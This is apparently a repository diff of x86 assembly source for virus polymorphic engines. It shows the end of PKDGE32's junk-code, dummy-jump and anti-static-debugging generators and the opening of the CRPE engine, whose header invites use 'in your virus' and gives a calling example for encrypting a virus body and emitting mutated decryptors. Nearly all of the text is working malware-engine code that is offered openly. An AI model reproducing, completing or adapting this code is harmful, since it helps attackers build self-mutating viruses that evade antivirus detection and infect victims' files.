pkdg_sel_reg: mov eax,[esp+8] ; select random register
|
||||||
|
mov edx,8 ; ...
|
||||||
|
call __random ; ...
|
||||||
|
or al,al
|
||||||
|
jz pkdg_sel_reg ; don't use EAX
|
||||||
|
cmp al,4
|
||||||
|
jz pkdg_sel_reg ; don't use ESP
|
||||||
|
cmp al,5
|
||||||
|
jz pkdg_sel_reg ; don't use EBP
|
||||||
|
or al,8 ; DWORD type
|
||||||
|
|
||||||
|
push ebx
|
||||||
|
and ebx,0fh
|
||||||
|
cmp bl,al ; R == Rx ?
|
||||||
|
pop ebx
|
||||||
|
jz pkdg_sel_reg
|
||||||
|
|
||||||
|
push ebx
|
||||||
|
shr ebx,4
|
||||||
|
and ebx,0fh
|
||||||
|
cmp bl,al ; R == Rz ?
|
||||||
|
pop ebx
|
||||||
|
jz pkdg_sel_reg
|
||||||
|
|
||||||
|
push ebx
|
||||||
|
shr ebx,8
|
||||||
|
cmp bl,al ; R == Ry ?
|
||||||
|
pop ebx
|
||||||
|
jz pkdg_sel_reg
|
||||||
|
|
||||||
|
push ebx
|
||||||
|
shr ebx,12
|
||||||
|
cmp bl,al ; R == Rw ?
|
||||||
|
pop ebx
|
||||||
|
jz pkdg_sel_reg
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;
|
||||||
|
; __pkdge32_test_regmask procedure
|
||||||
|
; ================================
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Description
|
||||||
|
; -----------
|
||||||
|
;
|
||||||
|
; All the register mask in the engine (PKDGE32) measure up this formula:
|
||||||
|
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
|
||||||
|
; the operand
|
||||||
|
;
|
||||||
|
; +-------+-------+--------+
|
||||||
|
; | bit 8 | bit 3 | type |
|
||||||
|
; +-------+-------+--------+
|
||||||
|
; | x | 0 | byte |
|
||||||
|
; +-------+-------+--------+
|
||||||
|
; | 0 | 1 | dword |
|
||||||
|
; +-------+-------+--------+
|
||||||
|
; | 1 | 1 | word |
|
||||||
|
; +-------+-------+--------+
|
||||||
|
;
|
||||||
|
; This function test this mask, if it specified a WORD type, the function STOSB
|
||||||
|
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
|
||||||
|
; nothing but return
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Parameterz and Return Value
|
||||||
|
; ---------------------------
|
||||||
|
;
|
||||||
|
; Input:
|
||||||
|
; eax --- register mask
|
||||||
|
; edi --- pointz to the buffer to save the instructionz
|
||||||
|
;
|
||||||
|
; Output:
|
||||||
|
; Nothing
|
||||||
|
;
|
||||||
|
|
||||||
|
__pkdge32_test_regmask:
|
||||||
|
test ah,1
|
||||||
|
jz pkdg_trm_ret
|
||||||
|
push eax
|
||||||
|
mov al,66h
|
||||||
|
stosb
|
||||||
|
pop eax
|
||||||
|
pkdg_trm_ret: ret
|
||||||
|
|
||||||
|
|
||||||
|
;
|
||||||
|
; __pkdge32_gen_mov_reg_imm procedure
|
||||||
|
; ===================================
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Description
|
||||||
|
; -----------
|
||||||
|
;
|
||||||
|
; This function generatez MOV REG,IMM type of instructionz.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Parameterz and Return Value
|
||||||
|
; ---------------------------
|
||||||
|
;
|
||||||
|
; Input:
|
||||||
|
; eax --- register mask
|
||||||
|
; edi --- pointz to the buffer to save the instructionz
|
||||||
|
; esi --- immediate number (source operand)
|
||||||
|
;
|
||||||
|
; Output:
|
||||||
|
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||||
|
; position in the buffer
|
||||||
|
;
|
||||||
|
|
||||||
|
__pkdge32_gen_mov_reg_imm:
|
||||||
|
call __pkdge32_test_regmask
|
||||||
|
push esi
|
||||||
|
or al,0b0h ; generate opcode
|
||||||
|
stosb ; ...
|
||||||
|
xchg eax,esi ; EAX get the operand
|
||||||
|
shr esi,4
|
||||||
|
jc pkdg_gmri_dw ; word/dword ? byte ?
|
||||||
|
stosb ; byte
|
||||||
|
pop esi
|
||||||
|
ret
|
||||||
|
pkdg_gmri_dw: shr esi,5
|
||||||
|
pop esi
|
||||||
|
jc pkdg_gmri_w
|
||||||
|
stosd ; dword
|
||||||
|
ret
|
||||||
|
pkdg_gmri_w: stosw ; word
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;
|
||||||
|
; __pkdge32_gen_pushimm_popreg procedure
|
||||||
|
; ======================================
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Description
|
||||||
|
; -----------
|
||||||
|
;
|
||||||
|
; This function generatez PUSH IMM/POP REG group instructionz.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Parameterz and Return Value
|
||||||
|
; ---------------------------
|
||||||
|
;
|
||||||
|
; Input:
|
||||||
|
; eax --- register mask
|
||||||
|
; edi --- pointz to the buffer to save the instructionz
|
||||||
|
; esi --- immediate number (source operand)
|
||||||
|
;
|
||||||
|
; Output:
|
||||||
|
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||||
|
; position in the buffer
|
||||||
|
;
|
||||||
|
|
||||||
|
__pkdge32_gen_pushimm_popreg:
|
||||||
|
call __pkdge32_test_regmask
|
||||||
|
push ecx
|
||||||
|
mov ecx,esi ; save IMM in ecx
|
||||||
|
xchg esi,eax
|
||||||
|
test esi,8 ; test BYTE or WORD/DWORD
|
||||||
|
jz pkdg_gpp_b
|
||||||
|
mov al,68h ; push WORD/DWORD
|
||||||
|
stosb ; write opcode
|
||||||
|
xchg eax,ecx ; get IMM
|
||||||
|
test esi,100h ; test WORD or DWORD
|
||||||
|
jnz pkdg_gpp_w
|
||||||
|
stosd ; write operand
|
||||||
|
jmp pkdg_gpp_pop
|
||||||
|
pkdg_gpp_w: stosw
|
||||||
|
jmp pkdg_gpp_pop
|
||||||
|
pkdg_gpp_b: mov al,6ah ; push BYTE
|
||||||
|
stosb ; write opcode
|
||||||
|
mov al,cl ; get IMM
|
||||||
|
stosb ; write operand
|
||||||
|
pkdg_gpp_pop: push edi
|
||||||
|
xor eax,eax
|
||||||
|
push esi
|
||||||
|
mov esi,[esp+28]
|
||||||
|
call __pkdge32_junk
|
||||||
|
pop esi
|
||||||
|
call __pkdge32_test_regmask
|
||||||
|
xchg esi,eax
|
||||||
|
or al,58h ; generate POP opcode
|
||||||
|
stosb ; write pop REG opcode
|
||||||
|
pop eax
|
||||||
|
pop ecx
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;
|
||||||
|
; __pkdge32_gen_xor_reg_imm procedure
|
||||||
|
; ===================================
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Description
|
||||||
|
; -----------
|
||||||
|
;
|
||||||
|
; This function generatez XOR [REG],IMM type of instructionz.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Parameterz and Return Value
|
||||||
|
; ---------------------------
|
||||||
|
;
|
||||||
|
; Input:
|
||||||
|
; eax --- register mask
|
||||||
|
; esi --- the immediate number
|
||||||
|
; edi --- pointz to the buffer to save the instructionz
|
||||||
|
;
|
||||||
|
; Output:
|
||||||
|
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||||
|
; position in the buffer
|
||||||
|
;
|
||||||
|
|
||||||
|
__pkdge32_gen_xor_reg_imm:
|
||||||
|
call __pkdge32_test_regmask
|
||||||
|
test al,1000b
|
||||||
|
jnz pkdg_gxri_dw
|
||||||
|
and eax,7 ; register mask
|
||||||
|
xchg al,ah
|
||||||
|
or eax,3080h
|
||||||
|
stosw
|
||||||
|
xchg eax,esi
|
||||||
|
stosb
|
||||||
|
ret
|
||||||
|
pkdg_gxri_dw: push eax
|
||||||
|
and eax,7 ; register mask
|
||||||
|
xchg al,ah
|
||||||
|
or eax,3081h
|
||||||
|
stosw
|
||||||
|
xchg eax,esi
|
||||||
|
pop esi
|
||||||
|
shr esi,9
|
||||||
|
jc pkdg_gxri_w
|
||||||
|
stosd ; dword
|
||||||
|
ret
|
||||||
|
pkdg_gxri_w: stosw ; word
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;
|
||||||
|
; __pkdge32_junk procedure
|
||||||
|
; ========================
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Decription
|
||||||
|
; ----------
|
||||||
|
;
|
||||||
|
; This is the junk code generator. It generatez length-spceified instructionz,
|
||||||
|
; dummy jumpz and anti-static-debugging opcodez.
|
||||||
|
;
|
||||||
|
; This procedure use EAX as junk register in order to generate instructionz
|
||||||
|
; like:
|
||||||
|
;
|
||||||
|
; mov eax,21343ab7h
|
||||||
|
; shr eax,8
|
||||||
|
; or:
|
||||||
|
; push eax
|
||||||
|
; rol eax,1
|
||||||
|
; pop eax
|
||||||
|
; etc.
|
||||||
|
;
|
||||||
|
; It generatez dummy jumpz such as:
|
||||||
|
;
|
||||||
|
; call @1
|
||||||
|
; junk
|
||||||
|
; jmp @3
|
||||||
|
; @2: junk
|
||||||
|
; ret
|
||||||
|
; @1: junk
|
||||||
|
; jmp @2
|
||||||
|
; @3: junk
|
||||||
|
;
|
||||||
|
; It also generatez anti-static-debugging opcodez such as:
|
||||||
|
;
|
||||||
|
; jmp @0
|
||||||
|
; db e9h
|
||||||
|
; @@:
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Parameterz and Return Value
|
||||||
|
; ---------------------------
|
||||||
|
;
|
||||||
|
; Input:
|
||||||
|
; eax --- If eax equalz to zero, the function generatez random length of
|
||||||
|
; instructionz, if eax is nonzero, the function generatez a
|
||||||
|
; certain length of instruction.
|
||||||
|
; esi --- pointz to the RNG seed buffer
|
||||||
|
; edi --- pointz to the buffer to save the instructionz
|
||||||
|
;
|
||||||
|
; Output:
|
||||||
|
; Nothing but junk codez in the buffer that EDI specified
|
||||||
|
;
|
||||||
|
|
||||||
|
__pkdge32_junk: pushad
|
||||||
|
xor ebx,ebx
|
||||||
|
xchg esi,ebp ; let EBP hold the seed ptr.
|
||||||
|
or eax,eax ; EAX containz number from 0~7
|
||||||
|
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
|
||||||
|
mov edx,7 ; 6: generate dummy jumpz
|
||||||
|
mov eax,ebp
|
||||||
|
call __random ; ...
|
||||||
|
pkdg_js: or eax,eax ; 0: nothing to do
|
||||||
|
jz pkdg_j_ret ; just go back
|
||||||
|
xchg ecx,eax ; let ECX hold that number
|
||||||
|
cmp ecx,6
|
||||||
|
jz pkdg_j_dj
|
||||||
|
|
||||||
|
;
|
||||||
|
; Generate certain length simpile instructionz
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdg_j_gclsi: mov edx,ecx
|
||||||
|
mov eax,ebp
|
||||||
|
call __random
|
||||||
|
or eax,eax
|
||||||
|
jz pkdg_j_g1b
|
||||||
|
dec eax
|
||||||
|
jz pkdg_j_g2b
|
||||||
|
dec eax
|
||||||
|
jz pkdg_j_g3b
|
||||||
|
dec eax
|
||||||
|
dec eax
|
||||||
|
jz pkdg_j_g5b
|
||||||
|
jmp pkdg_j_gclsi
|
||||||
|
|
||||||
|
;
|
||||||
|
; Generate 5-byte instruction
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdg_j_g5b: call pkdg_j_5
|
||||||
|
db 0b8h ; mov eax,imm32
|
||||||
|
db 05h ; add eax,imm32
|
||||||
|
db 15h ; adc eax,imm32
|
||||||
|
db 2dh ; sub eax,imm32
|
||||||
|
db 1dh ; sbb eax,imm32
|
||||||
|
db 3dh ; cmp eax,imm32
|
||||||
|
db 0a9h ; test eax,imm32
|
||||||
|
db 0dh ; or eax,imm32
|
||||||
|
db 25h ; and eax,imm32
|
||||||
|
db 35h ; xor eax,imm32
|
||||||
|
pkdg_j_5: pop esi
|
||||||
|
mov eax,ebp
|
||||||
|
mov edx,10
|
||||||
|
call __random
|
||||||
|
add esi,eax
|
||||||
|
movsb
|
||||||
|
mov eax,ebp
|
||||||
|
mov edx,0fffffffch
|
||||||
|
call __random
|
||||||
|
inc eax
|
||||||
|
inc eax
|
||||||
|
stosd
|
||||||
|
sub ecx,5 ; decrease counter
|
||||||
|
jz pkdg_j_rptr
|
||||||
|
jmp pkdg_j_gclsi
|
||||||
|
|
||||||
|
;
|
||||||
|
; Generate 3-byte instruction
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdg_j_g3b: call pkdg_j_3
|
||||||
|
db 0c1h,0e0h ; shl eax,imm8
|
||||||
|
db 0c1h,0e8h ; shr eax,imm8
|
||||||
|
db 0c1h,0c0h ; rol eax,imm8
|
||||||
|
db 0c1h,0c8h ; ror eax,imm8
|
||||||
|
db 0c1h,0d0h ; rcl eax,imm8
|
||||||
|
db 0c1h,0d8h ; rcr eax,imm8
|
||||||
|
db 0c0h,0e0h ; shl al,imm8
|
||||||
|
db 0c0h,0e8h ; shr al,imm8
|
||||||
|
db 0c0h,0c0h ; rol al,imm8
|
||||||
|
db 0c0h,0c8h ; ror al,imm8
|
||||||
|
db 0c0h,0d0h ; rcl al,imm8
|
||||||
|
db 0c0h,0d8h ; rcr al,imm8
|
||||||
|
db 0ebh,01h ; anti-static-debugging instr.
|
||||||
|
pkdg_j_3: pop esi
|
||||||
|
mov eax,ebp
|
||||||
|
mov edx,13
|
||||||
|
call __random
|
||||||
|
shl eax,1 ; EAX *= 2
|
||||||
|
add esi,eax
|
||||||
|
movsw
|
||||||
|
cmp eax,24
|
||||||
|
jge pkdg_j3_anti
|
||||||
|
mov eax,ebp
|
||||||
|
mov edx,14
|
||||||
|
call __random
|
||||||
|
inc eax
|
||||||
|
inc eax
|
||||||
|
pkdg_j_3f: stosb
|
||||||
|
sub ecx,3 ; decrease counter
|
||||||
|
jz pkdg_j_rptr
|
||||||
|
jmp pkdg_j_gclsi
|
||||||
|
pkdg_j3_anti: mov eax,ebp
|
||||||
|
mov edx,10h
|
||||||
|
call __random
|
||||||
|
add al,70h
|
||||||
|
jmp pkdg_j_3f
|
||||||
|
|
||||||
|
;
|
||||||
|
; Generate 2-byte instruction
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdg_j_g2b: call pkdg_j_2
|
||||||
|
db 89h ; mov eax,reg
|
||||||
|
db 01h ; add eax,reg
|
||||||
|
db 11h ; adc eax,reg
|
||||||
|
db 29h ; sub eax,reg
|
||||||
|
db 19h ; sbb eax,reg
|
||||||
|
db 39h ; cmp eax,reg
|
||||||
|
db 85h ; test eax,reg
|
||||||
|
db 09h ; or eax,reg
|
||||||
|
db 21h ; and eax,reg
|
||||||
|
db 31h ; xor eax,reg
|
||||||
|
db 0b0h ; mov al,imm8
|
||||||
|
db 04h ; add al,imm8
|
||||||
|
db 14h ; adc al,imm8
|
||||||
|
db 2ch ; sub al,imm8
|
||||||
|
db 1ch ; sbb al,imm8
|
||||||
|
db 3ch ; cmp al,imm8
|
||||||
|
db 0a8h ; test al,imm8
|
||||||
|
db 0ch ; or al,imm8
|
||||||
|
db 24h ; and al,imm8
|
||||||
|
db 34h ; xor al,imm8
|
||||||
|
pkdg_j_2: pop esi
|
||||||
|
mov eax,ebp
|
||||||
|
mov edx,20
|
||||||
|
call __random
|
||||||
|
add esi,eax
|
||||||
|
movsb ; write the opcode
|
||||||
|
cmp eax,10
|
||||||
|
jge pkdg_j2_imm8
|
||||||
|
mov eax,ebp
|
||||||
|
mov edx,8
|
||||||
|
call __random
|
||||||
|
shl eax,3 ; dest. operand
|
||||||
|
or al,0c0h ; ...
|
||||||
|
jmp pkdg_j2_f
|
||||||
|
pkdg_j2_imm8: mov eax,ebp
|
||||||
|
mov edx,100h
|
||||||
|
call __random
|
||||||
|
pkdg_j2_f: stosb
|
||||||
|
dec ecx ; decrease counter
|
||||||
|
dec ecx ; ...
|
||||||
|
jz pkdg_j_rptr
|
||||||
|
jmp pkdg_j_gclsi
|
||||||
|
|
||||||
|
;
|
||||||
|
; Generate 1-byte instruction
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdg_j_g1b: call pkdg_j_1
|
||||||
|
db 90h ; nop
|
||||||
|
db 0f8h ; clc
|
||||||
|
db 0f9h ; stc
|
||||||
|
db 40h ; inc eax
|
||||||
|
db 48h ; dec eax
|
||||||
|
db 37h ; aaa
|
||||||
|
db 3fh ; aas
|
||||||
|
db 98h ; cbw
|
||||||
|
db 0fch ; cld
|
||||||
|
db 0f5h ; cmc
|
||||||
|
db 27h ; daa
|
||||||
|
db 2fh ; das
|
||||||
|
db 9fh ; lahf
|
||||||
|
db 0d6h ; salc
|
||||||
|
pkdg_j_1: pop esi
|
||||||
|
mov eax,ebp
|
||||||
|
mov edx,14
|
||||||
|
call __random
|
||||||
|
add esi,eax
|
||||||
|
movsb ; write the code
|
||||||
|
dec ecx ; decrease counter
|
||||||
|
or ecx,ecx
|
||||||
|
jnz pkdg_j_gclsi
|
||||||
|
pkdg_j_rptr: mov [esp],edi
|
||||||
|
pkdg_j_ret: popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
;
|
||||||
|
; Generate dummy jumpz. the generation formula show in the decription of the
|
||||||
|
; __pkdge32_junk procedure
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
|
||||||
|
stosb ; ...
|
||||||
|
stosd ; addr1, no matter what, fix l8r
|
||||||
|
push edi
|
||||||
|
mov eax,ebp ; some more junx
|
||||||
|
mov edx,6 ; ...
|
||||||
|
call __random ; ...
|
||||||
|
mov esi,ebp ; ...
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov al,0ebh ; jmp xx
|
||||||
|
stosb ; ...
|
||||||
|
stosb ; addr2, no matter what, fix l8r
|
||||||
|
push edi
|
||||||
|
mov eax,ebp ; some more junx
|
||||||
|
mov edx,6 ; ...
|
||||||
|
call __random ; ...
|
||||||
|
mov esi,ebp ; ...
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov al,0c3h ; ret
|
||||||
|
stosb ; ...
|
||||||
|
mov eax,[esp+4] ; fix addr1
|
||||||
|
xchg eax,edi ; ...
|
||||||
|
sub eax,edi ; ...
|
||||||
|
sub edi,4 ; ...
|
||||||
|
stosd ; ...
|
||||||
|
add edi,eax ; ...
|
||||||
|
mov eax,ebp ; some more junx
|
||||||
|
mov edx,6 ; ...
|
||||||
|
call __random ; ...
|
||||||
|
mov esi,ebp ; ...
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov al,0ebh ; jmp xx
|
||||||
|
stosb ; ...
|
||||||
|
mov eax,[esp] ; ...
|
||||||
|
sub eax,edi ; ...
|
||||||
|
dec eax ; ...
|
||||||
|
stosb ; ...
|
||||||
|
pop eax ; fix addr2
|
||||||
|
xchg eax,edi ; ...
|
||||||
|
sub eax,edi ; ...
|
||||||
|
dec edi ; ...
|
||||||
|
stosb ; ...
|
||||||
|
add edi,eax ; ...
|
||||||
|
pop eax ; pop a shit
|
||||||
|
mov eax,ebp ; some more junx
|
||||||
|
mov edx,6 ; ...
|
||||||
|
call __random ; ...
|
||||||
|
mov esi,ebp ; ...
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
jmp pkdg_j_rptr
|
3192
Engines/Virus.Win32.Plexar.asm
Normal file
3192
Engines/Virus.Win32.Plexar.asm
Normal file
File diff suppressed because it is too large
Load Diff
BIN
Engines/Virus.Win32.Poly.7z
Normal file
BIN
Engines/Virus.Win32.Poly.7z
Normal file
Binary file not shown.
705
Engines/Virus.Win32.Real.inc
Normal file
705
Engines/Virus.Win32.Real.inc
Normal file
@ -0,0 +1,705 @@
|
|||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
; CRPE - cH4R_ Real Polymorphic Engine
|
||||||
|
;
|
||||||
|
; by cH4R_/iKX
|
||||||
|
;
|
||||||
|
; Version: 1.5
|
||||||
|
;
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
; http://www.charvx.cjb.net
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
; LICENSE: You can do ANYTHING with this code, this code have NO WARRANTLY of
|
||||||
|
; work, and the author will NOT be responsible for damages to your machine or
|
||||||
|
; any other machine. If you will use it in your virus, just give me some
|
||||||
|
; credits, and i will be happy. ;*
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
; News:
|
||||||
|
;
|
||||||
|
; - New code layout (tabs :P)
|
||||||
|
; - Some optimizations for size and speed
|
||||||
|
; - Improved morphing & trash generation
|
||||||
|
; - A lot of bugs fixed, now CRPE is completely working !! :D
|
||||||
|
;
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
; CRPE in pratice:
|
||||||
|
;
|
||||||
|
; To use it in your virus u will have to include CRPE in your
|
||||||
|
; source (duh!). Before call the engine to make a poly decryptor,
|
||||||
|
; "YOU" will have to find a place to HASH, used obtain a the
|
||||||
|
; encryption/decryption key.
|
||||||
|
; Your code must allow 586 instructions and have about 100
|
||||||
|
; bytes of stack memory for CRPE.
|
||||||
|
;
|
||||||
|
; ------> Input (in STACK):
|
||||||
|
;
|
||||||
|
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||||||
|
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||||||
|
; Arg3 = [BUFFER TO CRPE SAVE "CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||||||
|
; Arg4 = [SIZE OF AREA TO HASH]
|
||||||
|
; Arg5 = [POINTER TO AREA THAT WE WILL HASH]
|
||||||
|
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||||||
|
;
|
||||||
|
; ------> Output:
|
||||||
|
;
|
||||||
|
; EAX = Size of "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"
|
||||||
|
; * ALL other register will be restored
|
||||||
|
; ** Flags will be "corrupted"
|
||||||
|
;
|
||||||
|
; ------> Example (for dummy guys):
|
||||||
|
;
|
||||||
|
; In data section:
|
||||||
|
;
|
||||||
|
; Buf db (CRPE_max_total + SIZE_OF_YOUR_CODE) dup (0)
|
||||||
|
;
|
||||||
|
; In code section:
|
||||||
|
;
|
||||||
|
; push 00401000h ; Area to hash, in infected file
|
||||||
|
; push edx ; Area to hash, now
|
||||||
|
; push 00000200h ; Size of area to hash
|
||||||
|
; push [ebp+Buf] ; Buffer
|
||||||
|
; push CODE_SIZE ; Size of area to encrypt
|
||||||
|
; push [ebp+CODE_BEGIN] ; Pointer to area to encrypt
|
||||||
|
; call CRPE_make
|
||||||
|
;
|
||||||
|
; ------> The result will be something like:
|
||||||
|
;
|
||||||
|
; [SOME TRASH INSTRUCTIONS]
|
||||||
|
;
|
||||||
|
; [CALL POLY_DECRYPTOR]
|
||||||
|
;
|
||||||
|
; [ENCRYPTED DATA]
|
||||||
|
;
|
||||||
|
; [POLY_DECRYPTOR]
|
||||||
|
;
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
; -- User information to allocate memory --
|
||||||
|
|
||||||
|
; Max. size of decryptor in bytes
|
||||||
|
CRPE_max_dec equ 0A3h
|
||||||
|
; Max. memory required, SizeOf( [TRASH] + CALL POLY_DECRYPTOR + POLY_DECRYPTOR )
|
||||||
|
CRPE_max_total equ CRPE_max_dec+02Fh
|
||||||
|
|
||||||
|
; -----------------------------------------
|
||||||
|
|
||||||
|
; Things to save my time...
|
||||||
|
ofs equ offset
|
||||||
|
bye equ byte ptr
|
||||||
|
dwo equ dword ptr
|
||||||
|
wod equ word ptr
|
||||||
|
|
||||||
|
; Structure of PUSHAD
|
||||||
|
STACK_REG STRUCT
|
||||||
|
_EDI dd ?
|
||||||
|
_ESI dd ?
|
||||||
|
_EBP dd ?
|
||||||
|
_ESP dd ?
|
||||||
|
_EBX dd ?
|
||||||
|
_EDX dd ?
|
||||||
|
_ECX dd ?
|
||||||
|
_EAX dd ?
|
||||||
|
STACK_REG ENDS
|
||||||
|
|
||||||
|
; PUSHAD structure size
|
||||||
|
STACK_REGS equ SIZE STACK_REG
|
||||||
|
|
||||||
|
; Structure of stack used in CRPE
|
||||||
|
|
||||||
|
; Arguments
|
||||||
|
arg6 equ 18h
|
||||||
|
arg5 equ 14h
|
||||||
|
arg4 equ 10h
|
||||||
|
arg3 equ 0Ch
|
||||||
|
arg2 equ 08h
|
||||||
|
arg1 equ 04h
|
||||||
|
|
||||||
|
; SizeOf( PUSHAD + TEMPORARY MEMORY )
|
||||||
|
CRPE_stack equ CRPE_tmp+STACK_REGS
|
||||||
|
|
||||||
|
; Size of temporary memory
|
||||||
|
CRPE_tmp equ 0Fh
|
||||||
|
|
||||||
|
; Registers
|
||||||
|
R_EAX equ 0
|
||||||
|
R_ECX equ 1
|
||||||
|
R_EDX equ 2
|
||||||
|
R_EBX equ 3
|
||||||
|
R_ESP equ 4
|
||||||
|
R_EBP equ 5
|
||||||
|
R_ESI equ 6
|
||||||
|
R_EDI equ 7
|
||||||
|
|
||||||
|
; CRPE Signature
|
||||||
|
db "[CRPE]"
|
||||||
|
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
; Main procedure of CRPE
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
; Input:
|
||||||
|
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||||||
|
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||||||
|
; Arg3 = [BUFFER TO CRPE SAVE "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||||||
|
; Arg4 = [SIZE OF AREA TO HASH]
|
||||||
|
; Arg5 = [POINTER TO AREA THAT WE WILL HASH, NOW]
|
||||||
|
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||||||
|
; Output:
|
||||||
|
; EAX = Size of result ("TRASH + CALL + ENCRYPTED DATA + DECRYPTOR") in bytes
|
||||||
|
|
||||||
|
CRPE_make proc
|
||||||
|
|
||||||
|
pushad ; Save registers...
|
||||||
|
|
||||||
|
; Set memory
|
||||||
|
|
||||||
|
sub esp,CRPE_tmp ; Reserve stack
|
||||||
|
mov ebp,esp ; EBP = Pointer to reserved stack
|
||||||
|
|
||||||
|
mov edi,[esp+CRPE_stack+arg3] ; EDI = Pointer to buffer
|
||||||
|
|
||||||
|
; Generate initial TRASH + CALL
|
||||||
|
|
||||||
|
call CRPE_tg ; Generate some trash..
|
||||||
|
|
||||||
|
push 1 ; We will generate more trash ?
|
||||||
|
call CRPE_rnd ;
|
||||||
|
xchg eax,ecx ; Choose: YES or NOT
|
||||||
|
jecxz @insert_call ;
|
||||||
|
|
||||||
|
call CRPE_tg ; Generate more trash...
|
||||||
|
|
||||||
|
@insert_call:
|
||||||
|
mov al,0E8h ; Generate: CALL opcode
|
||||||
|
stosb ; write...
|
||||||
|
mov eax,edi ; Generate: immed32
|
||||||
|
add eax,[esp+CRPE_stack+arg2] ;
|
||||||
|
sub eax,edi ;
|
||||||
|
stosd ; write...
|
||||||
|
|
||||||
|
; Copy
|
||||||
|
|
||||||
|
mov ecx,[esp+CRPE_stack+arg2] ; ECX = Size of area to encrypt
|
||||||
|
mov esi,[esp+CRPE_stack+arg1] ; ESI = Pointer to area
|
||||||
|
push edi ; Save EDI !
|
||||||
|
push ecx ; Save ECX !
|
||||||
|
cld ;
|
||||||
|
rep movsb ; Copy...
|
||||||
|
|
||||||
|
; Hash
|
||||||
|
|
||||||
|
mov ebx,[esp+CRPE_stack+arg5+8] ; EBX = Area to hash
|
||||||
|
mov ecx,[esp+CRPE_stack+arg4+8] ; ECX = Size of area to hash
|
||||||
|
push -1 ;
|
||||||
|
call CRPE_rnd ; EAX = Random number
|
||||||
|
mov [ebp+4],eax ; Save "MAGIC" in temporary memory
|
||||||
|
|
||||||
|
push eax ; Arg3
|
||||||
|
push ecx ; Arg2
|
||||||
|
push ebx ; Arg1
|
||||||
|
call CRPE_hash ; Hash...
|
||||||
|
|
||||||
|
; Encrypt
|
||||||
|
|
||||||
|
pop ecx ; Restore ECX !
|
||||||
|
pop edx ; Restore EDI in EDX !
|
||||||
|
|
||||||
|
sub ecx,4 ; \ Some fixes...
|
||||||
|
add edx,ecx ; /
|
||||||
|
@@enc_loop:
|
||||||
|
xor [edx],eax ; XOR [BUFFER], KEY
|
||||||
|
xor eax,ecx ; XOR KEY, COUNTER
|
||||||
|
dec edx
|
||||||
|
dec ecx ; DEC COUNTER
|
||||||
|
jns @@enc_loop ; encryption loop
|
||||||
|
|
||||||
|
; --- TRASH + PUSHAD ---
|
||||||
|
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: YES or NO
|
||||||
|
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||||
|
jecxz @no_trash ; ECX = 0 ? Dont put trash...
|
||||||
|
call CRPE_tg ; Trash gen. routine
|
||||||
|
@no_trash: ;
|
||||||
|
mov al,60h ; Generate: PUSHAD
|
||||||
|
stosb ; Write...
|
||||||
|
|
||||||
|
; --- HASH INIT ---
|
||||||
|
|
||||||
|
; Generate MOV (REG32_1),Buffer
|
||||||
|
push 3 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-3
|
||||||
|
mov [ebp],al ; Save AL in temporary memory
|
||||||
|
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||||||
|
stosb ; Write..
|
||||||
|
mov eax,[esp+CRPE_stack+arg6] ; imm32 = Pointer to buffer
|
||||||
|
stosd ; Write..
|
||||||
|
|
||||||
|
; Generate MOV (REG32_2),Size
|
||||||
|
@rnd_1: ;
|
||||||
|
push 3 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-3
|
||||||
|
cmp [ebp],al ; AL = First value of AL ?
|
||||||
|
jz @rnd_1 ; Randomize again...
|
||||||
|
